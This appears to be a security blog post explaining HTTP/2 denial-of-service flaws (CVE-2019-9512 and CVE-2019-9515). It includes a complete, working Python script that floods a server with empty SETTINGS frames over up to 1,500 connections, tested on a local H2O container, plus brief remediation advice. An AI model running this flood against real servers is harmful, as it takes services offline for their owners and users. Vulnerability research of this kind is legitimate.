A couple of weeks ago, Netflix disclosed a number of resource exhaustion vulnerabilities (identified by Jonathan Looney) present in many third party HTTP/2 implementations. Notably, this directly affected h2 endpoints in Kubernetes (GoLang libraries net/http, x/net/http2) as well as other projects like nginx. Yes, it even has a logo.
Though DoS weaknesses usually aren’t particularly exciting, I hadn’t much previous experience with the HTTP/2 protocol — especially at the transport layer — and decided this might be a good opportunity to dig deeper into the spec and how it works.
Background
A solid grasp of the fundamental differences between HTTP/1.1 and HTTP/2 is important to understanding the various weaknesses identified in h2 implementations. I recommend Google’s Introduction to HTTP/2 for more detail, but I’ll cover a few of the crucial points for the purposes of this post.
HTTP/2 introduces a significant departure from HTTP/1.1 data transport by multiplexing multiple data exchanges over a single TCP connection. This has some significant performance benefits, though it inherently requires some additional flow control logic. In short, in h2, a single TCP connection can carry a number of streams, which are composed of a number of messages, which contain a sequence of frames.
Via Google
The above diagram probably looks relatable– it closely resembles the standard HTTP request-response syntax, though it’s encapsulated in a stream of h2 messages containing the related frames (HEADERS and DATA). There are a number of other frame types in the spec, mostly associated with flow control, that may be largely unfamiliar to those used to the HTTP/1.1 model:
- PRIORITY
- RST_STREAM
- SETTINGS
- PUSH_PROMISE
- PING
- GOAWAY
- WINDOW_UPDATE
- CONTINUATION
Vulnerabilities
Let’s examine CVE-2019-9512 and CVE-2019-9515 which involve flooding h2 listeners with PING and empty SETTINGS frames, respectively. As stated in the original disclosure, malicious clients send these frames to a server which processes them and generates responses — the responses aren’t read by the client as it continues flooding the target, potentially exhausting its CPU/memory.
Note that normal clients typically wouldn’t send a constant stream of PING frames — this is just an example of how a normal client’s data exchange looks compared to a malicious one under these attack scenarios.
Proof-of-Concept
Since there was no PoC available publicly that I could find, I decided to write one and test it against an unpatched local target. H2O seemed like a good choice, so I spun up a vulnerable version of their docker image and issued a test request with curl:
As you can see above, the response headers from the curl request confirm the server is supporting HTTP/2. Now that there’s a vulnerable target to test against, I began to write the exploit — we’ll concentrate on the SETTINGS frame flood CVE:
The attacker sends a stream of SETTINGS frames to the peer. Since the RFC requires that the peer reply with one acknowledgement per SETTINGS frame, an empty SETTINGS frame is almost equivalent in behavior to a ping. Depending on how efficiently this data is queued, this can consume excess CPU, memory, or both, potentially leading to a denial of service.
This attack seems straightforward enough: we just need to repeatedly send empty SETTINGS frames until the target service degrades. It’s almost that simple — we just need to initiate the connection first by sending the HTTP/2 preamble. Here’s a look at an example connection preamble as captured by Wireshark:
Now we just need the structure of an empty SETTINGS frame:
After collecting examples of the binary message frames needed, we can write the attack loop (for research purposes only).
import socket
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.PREAMBLE)
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self._sockets:
try:
s.send(self.SETTINGS_FRAME)
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.create_socket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
dos.attack(timeout=60*10*10)
After running the above script against the test container and sending another curl request, it’s clear the attack is working as planned — the request hangs on waiting for the server response:
Remediation
Most affected vendors have released patches for these issues, likely with similar approaches to H2O and GoLang: cap the number of control frames in the outbound queue.
Share this:
